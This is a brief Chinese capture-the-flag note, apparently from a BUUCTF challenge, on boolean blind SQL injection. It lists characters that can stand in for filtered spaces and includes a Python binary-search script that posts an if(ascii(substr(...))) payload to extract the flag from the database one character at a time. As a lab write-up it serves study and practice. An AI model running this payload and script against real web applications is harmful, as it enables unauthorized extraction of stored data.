BOOL盲注 异或注入

    1,2返回结果,()可以使用,大部分函数可以使用
    空格过滤::%0a,%0b,%0c,%0d,%09,/*/,/!*/,(TAB)

    使用二分法盲治脚本

    1. import requests
    2. import time
    3. url = "http://e93a4c52-4dfd-4bb1-afc3-b9f20eea580e.node3.buuoj.cn/index.php"
    4. anser = "Hello, glzjin wants a girlfriend."
    5. flag = ""
    6. for i in range(1,50):
    7. time.sleep(1)
    8. high = 127
    9. low = 32
    10. mid = (high+low)//2
    11. while high>low:
    12. payload="if(ascii(substr((select flag from flag),{},1)>{},1,2)".format(i,mid)
    13. data = {"id":payload}
    14. response = requests.post(url=url,data=data)
    15. if anser in response.text:
    16. low = mid+1
    17. else:
    18. high = mid
    19. mid = (high+low)//2
    20. flag += chr(mid)
    21. print(flag)